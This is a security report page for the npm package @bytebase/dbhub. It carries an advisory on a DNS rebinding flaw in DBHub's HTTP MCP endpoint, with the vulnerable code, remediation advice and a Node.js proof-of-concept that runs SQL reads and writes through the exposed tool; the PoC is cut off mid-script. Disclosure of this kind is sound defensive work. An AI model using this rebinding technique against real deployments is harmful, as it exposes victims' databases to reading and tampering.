npm package report

Is @bytebase/dbhub safe?

2 known vulnerabilities, worst severity CRITICAL.

// reach

13 direct dependencies

7 carry known advisories, worst CRITICAL

0 packages depend on it

an advisory here reaches each of them

    Create a free accountfor every dependency path, dependent and what to upgrade
    // ai model usage

    Tracked for PyPI packages. HuggingFace models declare Python dependencies, so npm packages are not covered.


    cvss
    0.0
    critical

    severity band, no base score published

    epss
    not scored

    chance of exploitation in 30 days

    xyz score
    0.0
    medium

    CyberXYZ composite out of 10

    fig. 01 — GHSA-fm8p-53ww-hf6w, the advisory selected below

    // 2 advisories

    GHSA-fm8p-53ww-hf6w

    CRITICALCVE-2026-61742
    // summary

    DBHub 0.21.2 exposes an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example --transport http --port 8080.

    The HTTP server attempts to protect browser-origin access by checking whether the Origin hostname equals the Host hostname, then reflecting the validated Origin into Access-Control-Allow-Origin. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both Origin and Host can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls.

    As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim's browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub's configured tool permissions and database credentials.

    Recommended severity: High. It may become Critical when HTTP transport is connected to production or broadly privileged database credentials.

    // details

    Affected target:

    • Package: @bytebase/dbhub
    • Version tested: 0.21.2
    • Repository commit tested: 72adfdcf7bcf
    • Affected mode: HTTP transport (--transport http)
    • Default package transport: stdio
    • Not affected by this specific browser-origin vector: stdio transport

    Relevant code path: src/server.ts

    The HTTP server installs a middleware that:

    • reads req.headers.origin;
    • extracts the hostname from req.headers.host;
    • parses the hostname from Origin;
    • rejects only when the two hostnames differ;
    • reflects the validated Origin into Access-Control-Allow-Origin;
    • enables credentials with Access-Control-Allow-Credentials: true.

    Relevant code:

    const origin = req.headers.origin;
    
    if (origin) {
      const host = (req.headers.host ?? '').split(':')[0].toLowerCase();
      try {
        const originHost = new URL(origin).hostname.toLowerCase();
        if (originHost !== host) {
          return res.status(403).json({
            error: 'Forbidden',
            message: 'Origin does not match Host header (DNS rebinding protection)',
          });
        }
      } catch {
        return res.status(400).json({ error: 'Bad Request', message: 'Malformed Origin header' });
      }
    }
    
    res.header('Access-Control-Allow-Origin', origin || 'http://localhost');
    res.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.header('Access-Control-Allow-Headers', 'Content-Type, Mcp-Session-Id');
    res.header('Access-Control-Allow-Credentials', 'true');

    This blocks a simple cross-origin request such as:

    Host: localhost:8080
    Origin: http://attacker.example

    However, it accepts the DNS rebinding request shape:

    Host: dbhub-rebind.example:8080
    Origin: http://dbhub-rebind.example

    In a browser attack, the victim visits an attacker-controlled page such as http://dbhub-rebind.example:8080. The attacker initially resolves that hostname to the attacker's web server, serves JavaScript, then rebinds the hostname to the victim-accessible DBHub address on the same port. The browser can then send requests where the request host and browser origin are both the attacker-controlled hostname. The current check treats that as trusted because it verifies equality, not membership in an explicit allowed-host or allowed-origin policy.

    No authorization token, per-server secret, or CSRF-style capability is required before /mcp accepts JSON-RPC tool calls in HTTP mode. Therefore, once the rebinding request shape passes the hostname equality check, the browser can invoke the same MCP tools as an intended HTTP MCP client.

    Suggested remediation:

    • Bind HTTP transport to 127.0.0.1 by default and require explicit opt-in for 0.0.0.0 or non-loopback hosts.
    • Add an explicit allowed-hosts policy instead of accepting arbitrary Host values because Origin has the same hostname.
    • Add an explicit allowed-origins policy and do not reflect arbitrary origins by default.
    • Require an authentication token or CSRF-style capability before dispatching /mcp JSON-RPC methods.
    • Consider rejecting browser-origin requests whose Host is not a configured loopback hostname or configured deployment hostname.
    // poc

    The following PoC is intended to be reproducible on another machine. It does not rely on any local files, local databases, private infrastructure, or custom audit tooling.

    Requirements:

    • Node.js 20 or newer
    • npm/npx access to install @bytebase/dbhub@0.21.2
    • An available local TCP port selected by the script

    Save the following as dbhub-dns-rebinding-poc.mjs and run:

    node dbhub-dns-rebinding-poc.mjs

    The script starts DBHub 0.21.2 in demo HTTP mode on a local port, waits until it is ready, sends one blocked control request, sends the DNS-rebinding-shaped requests, prints the results, and terminates the DBHub process.

    import { spawn } from "node:child_process";
    import http from "node:http";
    import net from "node:net";
    
    const attackerHost = "dbhub-rebind.example";
    const port = await pickFreePort();
    const launch = dbhubLaunchCommand(port);
    
    const server = spawn(
      launch.command,
      launch.args,
      {
        stdio: ["ignore", "pipe", "pipe"],
      },
    );
    
    let stdout = "";
    let stderr = "";
    server.stdout.on("data", (chunk) => {
      stdout += chunk.toString();
    });
    server.stderr.on("data", (chunk) => {
      stderr += chunk.toString();
    });
    
    try {
      await waitForDbhub(port);
    
      const blocked = await postMcp("blocked", "tools/list", {}, {
        Host: `localhost:${port}`,
        Origin: "http://attacker.example",
      });
    
      const rebindHeaders = {
        Host: `${attackerHost}:${port}`,
        Origin: `http://${attackerHost}`,
      };
    
      const list = await postMcp("list", "tools/list", {}, rebindHeaders);
    
      const read = await postMcp("read", "tools/call", {
        name: "execute_sql",
        arguments: { sql: "select 'STANDALONE_REBIND_CANARY' as proof" },
      }, rebindHeaders);
    
      const write = await postMcp("write", "tools/call", {
        name: "execute_sql",
        arguments: {
          sql: "create table if not exists dns_rebind_probe(id integer primary key, marker text); insert into dns_rebind_probe(marker) values('standalone write proof'); select count(*) as rows_written from dns_rebind_probe;",
        },
      }, rebindHeaders);
    
      const result = {
        port,
        blocked: summarize(blocked),
        rebindToolsList: summarize(list),
        rebindRead: summarize(read),
        rebindWrite: summarize(write),
        reproduced:
          blocked.statusCode === 403 &&
          list.statusCode === 200 &&
          list.acao === `http://${attackerHost}` &&
          read.statusCode === 200 &&
          read.body.includes("STANDALONE_REBIND_CANARY") &&
          write.statusCode === 200 &&
          write.body.includes("rows_written"),
      };
    
      console.log(JSON.stringify(result, null, 2));
      if (!result.reproduced) {
        process.exitCode = 1;
      }
    } finally {
      await stopServer(server)

    Checked 2026-09-25 at 16:46 UTC. The most recent advisory here was published 2026-09-24. Updated continuously from NVD, GHSA, OSV and CNA feeds.

    Think a verdict here is wrong? Tell us — we respond within 2 business days.
    Is @bytebase/dbhub safe? npm package security report | CyberXYZ